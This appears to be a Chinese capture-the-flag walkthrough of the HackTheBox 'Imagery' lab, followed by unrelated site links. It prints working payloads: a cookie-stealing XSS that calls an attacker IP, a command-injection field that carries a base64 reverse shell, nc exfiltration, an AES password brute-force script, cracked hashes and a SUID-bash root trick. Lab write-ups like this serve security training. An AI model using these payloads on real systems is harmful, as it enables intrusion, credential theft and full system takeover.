当前位置: 首页 > news >正文

HTB<Imagery>通关教程

确认ip:

测试连通性:

扫描端口及服务:

识别CMS:

访问web且启动burp:

xss测试:<img src=x οnerrοr="location.href='http://10.10.16.16/steal?cookie='+ document.cookie">

kali启动http服务监听:python3 -m http.server 80

获得管理员的cookie:GET /steal?cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aQB3zA.NqEGYG82bCnpZE89wy22axcueM8

在bp里设置替换cookie:

设置完勾选上:

利用cookie欺骗,发现admin多一个downloadlog功能点,抓包看看:

发现存在文件包含漏洞,查看文件:/config.py发现db.json:

顺藤摸瓜找到用户名和密码:

利用CMD5解密为:

username": "admin@imagery.htb",

"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31"没解出来

"username": testuser@imagery.htb

"password": "2c65c8d7bfbca32a3ed42596192384f6"/iambatman

利用 testuser@imagery.htb/iambatman登录,上传一张图片:

发裁剪图片功能存在注入点:传入反弹shell并打开kali监听

"x":"0;`printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi81NTU1IDA+JjE= | base64 -d | bash`;",

kali启动监听获取文件nc -lnvp 5555 >web_20250806_120723.zip.aes

在反弹shell中发送文件,解析文件加密格式为 pyAesCrypt 6.1(AES-256-CBC,AES Crypt v2 格式):

创建个解密爆破脚本:

#!/usr/bin/env python3
"""
使用字典攻击方式尝试解密AES加密的ZIP文件
"""import pyAesCrypt
import os
import sys# ==================== 配置区域 ====================
# 在此处修改以下参数以适应您的需求# 加密文件路径(需要解密的文件)
ENCRYPTED_FILE = "web_20250806_120723.zip.aes"# 解密后输出文件路径
DECRYPTED_FILE = "d.zip"# 密码字典文件路径(常用的rockyou.txt字典)
WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt"# 加解密缓冲区大小(影响性能和内存使用)
BUFFER_SIZE = 64 * 1024  # 64KB缓冲区# ==================== 主程序 ====================def main():"""主函数:执行AES文件暴力破解"""# 打印启动信息print(f"[+] 开始对 {ENCRYPTED_FILE} 进行字典攻击")print(f"[+] 使用字典: {WORDLIST_PATH}")print(f"[+] 缓冲区大小: {BUFFER_SIZE} 字节")print("-" * 50)# 检查加密文件是否存在if not os.path.exists(ENCRYPTED_FILE):print(f"[-] 错误: 加密文件不存在: {ENCRYPTED_FILE}")sys.exit(1)try:# 打开密码字典文件with open(WORDLIST_PATH, 'r', encoding='latin-1') as f:# 初始化计数器attempts = 0# 遍历字典中的每一行(每个密码)for line in f:password = line.strip()  # 去除首尾空白字符# 跳过空密码if not password:continueattempts += 1  # 增加尝试计数# 可选:每1000次尝试显示一次进度(取消注释以启用)# if attempts % 1000 == 0:#     print(f"[*] 已尝试 {attempts} 个密码...")# 可选:显示当前尝试的密码(取消注释以启用,但会降低速度)# print(f"[-] 尝试密码: {password}")try:# 尝试使用当前密码解密文件# pyAesCrypt.decryptFile会在解密成功时返回None,失败时抛出异常pyAesCrypt.decryptFile(ENCRYPTED_FILE,      # 输入:加密文件路径DECRYPTED_FILE,      # 输出:解密后文件路径password,            # 当前尝试的密码BUFFER_SIZE          # 缓冲区大小)# 如果执行到这里,说明解密成功!print(f"\n[+] 成功!找到密码: {password}")print(f"[+] 总尝试次数: {attempts}")print(f"[+] 解密文件已保存为: {DECRYPTED_FILE}")# 验证解密文件是否存在且有效if os.path.exists(DECRYPTED_FILE) and os.path.getsize(DECRYPTED_FILE) > 0:print("[+] 文件验证: 成功")else:print("[-] 警告: 解密文件可能损坏")# 成功找到密码,正常退出程序sys.exit(0)except ValueError:# ValueError异常表示密码错误,这是正常情况# 忽略此异常,继续尝试下一个密码passexcept Exception as e:# 捕获其他异常(如文件损坏、权限问题等)print(f"\n[-] 严重错误: {e}")print(f"[-] 最后尝试的密码: {password}")sys.exit(1)except FileNotFoundError:# 密码字典文件不存在print(f"[-] 错误: 密码字典文件不存在: {WORDLIST_PATH}")print("[!] 请确保已安装rockyou.txt字典或修改WORDLIST_PATH配置")sys.exit(1)except KeyboardInterrupt:# 用户按Ctrl+C中断程序print(f"\n[!] 用户中断,已尝试 {attempts} 个密码")sys.exit(1)# 如果循环结束仍未找到密码print(f"\n[-] 失败: 已尝试所有 {attempts} 个密码,未找到正确密码")print("[!] 建议: 尝试使用更大的密码字典或检查文件是否使用AES加密")# 程序入口点
if __name__ == "__main__":main()

运行脚本,解出Password: bestfriends 利用hashcat破解hash得到:

  • 2c65c8d7bfbca32a3ed42596192384f6:iambatman
  • 01c3d2e5bdaf6134cec0a367cf53e535:supersmash

ssh没成功,直接su切换到mark用户,开始提权,发现charcol:

执行charcol> auto add --schedule "* * * * *" --command "chmod +s /usr/bin/bash" --name "hack"

创建一个每分钟运行一次的定时任务chmod +s /usr/bin/bash,名字为hack

  • chmod +s 设置SUID权限
  • 任何用户执行bash都会以文件所有者权限(通常是root)运行
  • 普通用户可以通过 /usr/bin/bash -p 获得root shell

执行后返回root的shell,查看root/root.txt,结束:

http://www.dtcms.com/a/555107.html

相关文章:

  • 简单网站设计网站百度站长资源平台
  • 【Linux】信号量
  • 网站域名需icp备案网络服务器是什么
  • 搭建网站赚钱吗网站底部信息
  • 2025知识库本地化部署方案商对比:企业AI知识管理选型指南
  • [RoarCTF 2019]Easy Calc
  • 网站信息化建设领导小组湖北搜索引擎优化
  • 江苏省网站建设与管理历年自考试题网站的备案
  • 1002 A+B for Polynomials
  • 湖北民族建设集团网站会员wordpress主题
  • 解决Python matplotlib绘制图像无法显示中文的问题
  • 众趣分享丨数字孪生在智慧园区类场景的实战应用
  • wordpress 异步加速安徽优化推广
  • 湛江高端网站开发国际数据公司
  • 湖北洪湖市建设局网站app小程序
  • matlab设计滤波器详解
  • Web 前端可视化开发工具深度解析,从拖拽搭建到真机调试的全链路思维
  • 国外免费iphone网站南安seo优化推广
  • 关于static误区
  • win7怎么做网站服务器做教师知识网站有哪些
  • js基础:10、函数对象方法(call/apply)、arguments类数组对象、Date对象、Math工具类、包装类、字符串方法、正则表达式
  • seo学院培训班seo外包公司多吗
  • 潜江做网站的嘉兴地区有人做网站吗
  • CATIA/3DE CAA二次开发-工程图两圆内填充AreaFill
  • 百日挑战-单词篇(第九天)
  • 人物摄影网站创建微信公众号步骤
  • 二叉树序列化与反序列化
  • 焦作网站建设费用社交类网站开发需求
  • 杭州外贸网站建设公司申跃网站建设类型有哪些方面
  • 做视频网站 视频放在哪里找延庆营销型网站建设